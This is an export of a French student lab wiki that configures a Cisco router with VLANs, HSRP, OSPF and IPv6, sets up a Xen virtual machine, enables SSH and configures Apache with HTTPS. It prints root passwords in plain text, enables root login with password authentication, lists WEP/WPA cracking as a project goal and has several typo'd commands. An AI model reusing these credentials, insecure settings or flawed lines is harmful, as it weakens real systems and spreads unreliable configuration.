  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51587</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51587"/>
				<updated>2019-12-07T03:28:25Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Sources */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
